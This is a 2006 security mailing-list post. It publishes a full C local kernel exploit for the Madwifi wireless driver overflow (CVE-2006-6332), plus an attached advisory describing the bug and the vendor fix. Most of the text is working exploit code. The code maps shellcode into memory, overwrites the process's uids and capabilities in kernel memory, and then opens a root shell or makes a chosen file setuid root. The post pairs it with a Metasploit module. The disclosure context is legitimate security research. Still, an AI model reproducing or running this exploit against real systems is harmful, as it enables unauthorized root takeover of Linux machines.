Dailydave mailing list archives
Re: Madwifi SIOCSIWSCAN vulnerability (CVE-2006-6332)
From: TINNES Julien RD-MAPS-ISS <julien.tinnes () francetelecom com>
Date: Fri, 08 Dec 2006 11:44:56 +0100
Here it is, metasploit 3 DoS module and a very simple and raw local exploit (which needs to be triggered by the DoS module). A full remote exploit is possible, which would be triggered by "iwlist ath0 scan". You can inject code into the process' address space by using some information elements. -- Julien TINNES - & france telecom - R&D Division/MAPS/NSS Research Engineer - Internet/Intranet Security GPG: C050 EF1A 2919 FD87 57C4 DEDD E778 A9F0 14B9 C7D6
/* Madwifi giwscan_cb buffer overflow local kernel exploit * * CVE-2006-6332 * * (C) 2006 Julien TINNES and Laurent BUTTI * * Use this local exploit in conjonction with the metasploit module * * The vulnerable function is called when asking for scan result (which you can do * without privileges). * However you need to wait for your card to scan for access point before this exploit can be successfull. * * The best way to test this exploit is: * 1. start the metasploit module on another machine * 2. Bring your card up. (e.g. ifconfig ath0 up) * 3. ./madexploit * * This will always work because the card will automatically start scanning for APs when your * bring it up. * For testing purpose you can also launch this exploit as root, It'll automatically issue a * scanning request. * There are also ways to remotely make the card start scanning for APs. Will you find them ? * * Use -s if your kernel uses 4K stacks * Use '-c madexploit' if you get a segfault (actually a BUG()) after a "Success" message * * This was tested on Ubuntu 6.10, Knoppix 5.0.1 (madwifi 0.9.x) and Debian testing * * TODO: release process' locks so that system remains stable (or at least hack the task_struct to get rid of the BUG()s) * * Version 0.5 */ #include <sys/types.h> #include <sys/socket.h> #include <net/if.h> #include <netinet/if_ether.h> #include <linux/unistd.h> #include <sys/mman.h> #include <sys/stat.h> #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> #include <sys/ioctl.h> #include <fcntl.h> #include <assert.h> #include <errno.h> #include <stdint.h> #include <getopt.h> // #include "iwlib.h" /* defs from wireless.h and iwlib.h */ #define IW_SCAN_MAX_DATA 4096 #ifndef __user #define __user #endif #define NOPS 0x90909090 #define TASK_SIZE 0xC0000000 #define SIOCSIWSCAN 0x8B18 /* trigger scanning (list cells) */ #define SIOCGIWSCAN 0x8B19 /* get scanning results */ struct iw_point { void __user *pointer; /* Pointer to the data (in user space) */ __u16 length; /* number of fields or size in bytes */ __u16 flags; /* Optional params */ }; union iwreq_data { struct iw_point data; /* Other large parameters */ }; struct iwreq { union { char ifrn_name[IFNAMSIZ]; /* if name, e.g. "eth0" */ } ifr_ifrn; /* Data part (defined just above) */ union iwreq_data u; }; #define IFNAME "ath0" /* This magic address will pass encode_ie in madwifi * '3' is 0x33! */ #define KSCADDR 0x33333333 #define USCADDR 0x50000000 /* stringification */ #define xstr(s) str(s) #define str(s) #s #define KSTACKADDR 0x60000100 #define PGS (4096) /* 4046 if 4K STACK is defined */ #define THREAD_SIZE (8192) #define THREAD_SIZE8K (8192) #define THREAD_SIZE4K (4096) #define __syscall_return(type, res) \ do { \ if ((unsigned long)(res) >= (unsigned long)(-(128 + 1))) { \ errno = -(res); \ res = -1; \ } \ return (type) (res); \ } while (0) #define patchsc_with_addr(sc, addr) \ do { \ *((void (**)())(sc+1))=addr;\ } while (0) void *installsc(void *scaddr, void *sh, unsigned int len); void *getsc(char *filename, uint32_t *len); //_syscall3(int, myioctl2, int, d, int, request, struct iwreq *, toto); // jmp -2 //static char sc[]="\xeb\xfe\xeb\xfe\xeb\xfe"; // mov [0], eax //static char sc[]="\xA3\x00\x00\x00\x00"; // exit(42); //static char sc[]="\x31\xC0\x40\xBB\x69\x7A\x00\x00\xCD\x80"; // mov eax, 0x01020304; jmp eax char sc[128]="\xB8\x04\x03\x02\x01\xFF\xE0"; uid_t puid; int noexit=0; char *chmodfile=NULL; char chmodname[1024]; unsigned int stackheur=0; char *ifname=IFNAME; struct task_struct; typedef struct { unsigned long seg; } mm_segment_t; mm_segment_t addr_limit; /* thread_info.h */ struct thread_info { struct task_struct *task; /* main task structure */ struct exec_domain *exec_domain; /* execution domain */ unsigned long flags; /* low level flags */ unsigned long status; /* thread-synchronous flags */ __u32 cpu; /* current CPU */ int preempt_count; /* 0 => preemptable, <0 => BUG */ mm_segment_t addr_limit; /* continued */ }; int sys_ioctl(int d, int request, struct iwreq *toto) { long __res; __asm__ volatile ("push %%ebx ; movl %2,%%ebx ; int $0x80 ; pop %%ebx" : "=a" (__res) : "0" (__NR_ioctl),"ri" ((long)(d)),"c" ((long)(request)), "d" ((long)(toto)) : "memory"); __syscall_return(int,__res); } struct iretstack { uint32_t eip; uint32_t cs; uint32_t eflags; uint32_t esp; uint32_t ss; } __attribute__((packed)); void build_iretstack(struct iretstack *dest, uint32_t eip) { dest->eip=eip; asm("xorl %0, %0\n" "mov %%cs, %0\n" "pushf\n" "pop %%esi\n" "movl %%esi, %1\n" "movl %%esp, %2\n" "xorl %3, %3\n" "mov %%ss, %3\n" : "=r" (dest->cs), "=r" (dest->eflags), "=r" (dest->esp), "=r" (dest->ss) : : "esi" ); } /* userland function, called after ksc_func */ void usc_func(void) { int ret; printf("[+] Address space limit heuristic: 0x%lX\n", addr_limit.seg); if (getuid() == 0) { printf("[+] Success\n"); if (chmodfile != NULL) { ret=chown(chmodfile, 0, 0); if (ret == -1) { perror("chown"); exit(1); } else ret=chmod(chmodfile, 04755); if (ret == -1) { perror("chmod"); exit(1); } if (noexit) { printf("[+] Sleeping forever\n"); while(1) sleep(10); } else /* we may BUG() here... */ exit(0); } else execlp("/bin/sh", "sh", NULL); } else { printf("[-] Failure\n"); exit(42); } } static inline struct thread_info *current_thread_info(__u32 tsize) { struct thread_info *ti; //__asm__("andl %%esp,%0; ":"=r" (ti) : "0" (~(THREAD_SIZE - 1))); __asm__("andl %%esp,%0; ":"=r" (ti) : "0" (~(tsize - 1))); return ti; } /* Our kernel mode function */ void ksc_func(void) { uid_t *tsk; /* Lame heuristic to try and detect 4K stacks */ if (stackheur) { addr_limit.seg=current_thread_info(THREAD_SIZE4K)->addr_limit.seg; if (addr_limit.seg == TASK_SIZE) tsk=(uid_t *) (current_thread_info(THREAD_SIZE4K)->task); else tsk=(uid_t *) (current_thread_info(THREAD_SIZE8K)->task); } else { addr_limit.seg=current_thread_info(THREAD_SIZE8K)->addr_limit.seg; tsk=(uid_t *) (current_thread_info(THREAD_SIZE8K)->task); } /* look for uid,euid,suid,fsuid */ while( (tsk[0] != puid) || (tsk [1] != puid) || (tsk [2] != puid) || (tsk [3] != puid) ) tsk++; /* patch uids and gids */ //tsk[0]=tsk[1]=tsk[2]=tsk[3]=0; memset(tsk, 0, 8*sizeof(uid_t)); /* patch capabilities */ tsk+=9; memset(tsk, 0xFFFFFFFF , 3*sizeof(uid_t)); asm(".intel_syntax noprefix\n" "sti\n" "mov esp, " xstr(KSTACKADDR) "\n" "iret\n" ".att_syntax noprefix\n"); } int main(int argc, char **argv) { int skfd, counter=0; struct iwreq wrq; unsigned char *buffer = NULL; /* Results */ int buflen = IW_SCAN_MAX_DATA; /* Min for compat WE<17 */ printf("Madwifi SIOCGIWSCAN ioctl local exploit\n\n" "(C) 2006 Julien TINNES and Laurent BUTTI\n\n"); /* support -c on self */ if (( geteuid() == 0) && (getuid() !=0)) { setuid(0); setgid(0); execlp("/bin/sh", "sh", NULL); } for (;;) { int option_index = 0, c; static struct option long_options[] = { {"stackheur", 0, 0, 's'}, {"help", 0, 0, 'h'}, {"interface", 1, 0, 'i'}, {"chown/chmod", 1, 0, 'c'}, {"noexit", 1, 0, 'n'}, {0,0,0,0} }; c = getopt_long (argc, argv, "nc:shi:", long_options, &option_index); if (c == -1) break; switch (c) { case 0: printf("This case should'nt happen\n"); break; case 's': printf("[+] Using stack heuristic \n"); stackheur=1; break; case 'i': ifname=optarg; break; case 'c': if ( (strlen(optarg)+1) > sizeof(chmodname)) exit(1); /* We better not rely on the stack */ strcpy(chmodname, optarg); chmodfile=chmodname; printf("[+] chmod/chown %s if success\n", chmodfile); break; case 'n': noexit=1; break; case 'h': case '?': default: printf("Usage %s [options]\n\n" "Options:\n" "-s\t Use heuristic to determine kernel stack size\n" "-i <iface>\t Use interface 'iface'\n" "-c <file>\t Make 'file' suid root\n" "-n\tdo not exit after chown/chmod\n" , argv[0]); exit(1); } } puid=getuid(); printf("[+] Using interface %s\n", ifname); /* install kernel shellcode */ //scmap=getsc("ksc", &sclen); patchsc_with_addr(sc, ksc_func); //if (installsc((void *) KSCADDR, scmap, sclen) == MAP_FAILED) { if (installsc((void *) KSCADDR, sc, sizeof(sc)) == MAP_FAILED) { perror("installksc"); exit(1); } printf("[+] Kernel shellcode installed at 0x%X\n", KSCADDR); /* install user shellcode */ //scmap=getsc("usc", &sclen); patchsc_with_addr(sc, usc_func); //if (installsc((void *) USCADDR, scmap, sclen) == MAP_FAILED) { if (installsc((void *) USCADDR, sc, sizeof(sc)) == MAP_FAILED) { perror("installusc"); exit(1); } printf("[+] User shellcode installed at 0x%X\n", USCADDR); /* allocate space for kernel stack */ if (installsc((void *) KSTACKADDR, "", 0) == MAP_FAILED) { perror("installkstack"); exit(1); } /* This is a lame workaround to prevent giwscan_cb from crashing * before returning. We create two pages so that structure pointers * can be recursively dereferenced. * A proper exploit should not do that :) */ /* allocate self-dereferencable page */ if (installsc((void *) NOPS, "", 0) == MAP_FAILED) { perror("self-deref-page"); exit(1); } if (installsc((void *) 0, "", 0) == MAP_FAILED) { perror("self-deref-page"); exit(1); } bzero(NULL, PGS); assert((KSTACKADDR & 0xFFF) > sizeof(struct iretstack)); build_iretstack( (struct iretstack *) KSTACKADDR, USCADDR); printf("[+] Fake stack installed at 0x%X (CS: 0x%X, EFLAGS: 0x%X, ESP: 0x%X, SS: 0x%X, EIP: 0x%X)\n", KSTACKADDR, ((struct iretstack *) KSTACKADDR)->cs, ((struct iretstack *) KSTACKADDR)->eflags, ((struct iretstack *) KSTACKADDR)->esp, ((struct iretstack *) KSTACKADDR)->ss, ((struct iretstack *) KSTACKADDR)->eip); /* trigger vulnerable function */ buffer = malloc(buflen); if (!buffer) { perror("malloc"); exit(1); } /* Initialize wrq */ wrq.u.data.pointer = NULL; wrq.u.data.flags = 0; wrq.u.data.length = 0; strncpy(wrq.ifr_name, ifname, IFNAMSIZ); if ((skfd= socket(AF_INET, SOCK_DGRAM, 0)) == -1) { perror("socket"); exit(1); } if(ioctl(skfd, SIOCSIWSCAN, &wrq) == -1) { perror("[-] ioctl SIOCSIWSCAN"); printf(" -> This is not fatal (you can wait or ifdown/up your wifi interface to speedup the process)\n"); } else { printf("[+] Launching new scan with ioctl SIOCSIWSCAN\n"); } /* Initialize wrq */ wrq.u.data.pointer = buffer; wrq.u.data.flags = 0; wrq.u.data.length = buflen; while (1) { printf("[.] Trying to trigger bug in giwscan_cb (%d) (you must run the metasploit module)\n", counter++); if (sys_ioctl(skfd, SIOCGIWSCAN, &wrq) == -1) { //if (ioctl(skfd, SIOCGIWSCAN, &wrq) == -1) { perror("[-] ioctl SIOCGIWSCAN"); exit(1); } sleep(1); } return 0; } /* allocate memory and install shellcode at address scaddr (pads with nops so that shellcode is page-aligned) */ void *installsc(void *scaddr, void *sh, unsigned int len) { void *scpt; assert(getpagesize() == PGS); /* allocate one extra page which will be filled by nops */ scpt=mmap((void *)((uint32_t) scaddr & ~(PGS-1)), PGS + len, PROT_WRITE | PROT_READ | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS | MAP_LOCKED | MAP_POPULATE, 0, 0); if (scpt == MAP_FAILED) { perror("mmap"); return scpt; } /* fill first page with nops */ memset(scpt, NOPS, PGS); /* and copy shellcode */ memcpy(scpt+PGS, sh, len); return scpt; } /* map shellcode found in filename in memory, return its address */ void *getsc(char *filename, uint32_t *len) { int scfd; void *scmap; struct stat scstat; scfd=stat(filename, &scstat); if (scfd == -1) { perror("stat"); exit(1); } *len=scstat.st_size; scfd=open(filename, O_RDONLY); if (scfd == -1) { perror("open"); exit(1); } scmap=mmap(0, *len, PROT_READ, MAP_SHARED, scfd, 0); if (scmap == MAP_FAILED) { perror("mmap"); exit(1); } return scmap; }
Attachment:
madwifi_giwscan_cb.rb
Description:
Name: Madwifi SIOCGIWSCAN buffer overflow Vendor: http://www.madwifi.org Release date: December, 7th 2006 CVE ID: CVE-2006-6332 Authors: Laurent BUTTI, Jerome RAZNIEWSKI, Julien TINNES 1. Description There is a buffer overflow in the madwifi Atheros driver in some functions called by SIOCSIWSCAN ioctl. This issue is remotely exploitable because ioctl SIOCSIWSCAN may be called automatically by some connexion managers (either directly, by using iwlib or by calling iwlist) when trying to get a list of nearby access points. 2. Details There is a stack buffer overflow in both the giwscan_cb() and encode_ie() functions (ieee80211_wireless.c). The first issue, in giwscan_cb, is related with insufficient checks on the length in some 802.11 information elements which are controlled by the attacker: memcpy(buf, se->se_wpa_ie, se->se_wpa_ie[1] + 2); The second issue is improper boundary checks in encode_ie() where ielen is never checked with bufsize. for (i = 0; i < ielen && bufsize > 2; i++) p += sprintf(p, "%02x", ie[i]); A properly crafted 802.11 beacon or probe response frame will trigger the bug when a process tries to get scanning results by calling ioctl SIOCGIWSCAN. The information element used by the attacker can be either WPA IE, RSN IE, WMM IE or ATH IE and will lead to a kernel stack overflow. 3. Vendor status The vendor was notified on December, 6th 2006 and issued version 0.9.2.1 to correct the issue. 4. Authors Laurent BUTTI <laurent.butti at francetelecom.com> Jerome RAZNIEWSKI <jerome.razniewski at francetelecom.com> Julien TINNES <julien.tinnes at francetelecom.com>
_______________________________________________ Dailydave mailing list Dailydave () lists immunitysec com http://lists.immunitysec.com/mailman/listinfo/dailydave
Current thread:
- Madwifi SIOCSIWSCAN vulnerability (CVE-2006-6332) TINNES Julien RD-MAPS-ISS (Dec 07)
- Re: Madwifi SIOCSIWSCAN vulnerability (CVE-2006-6332) TINNES Julien RD-MAPS-ISS (Dec 08)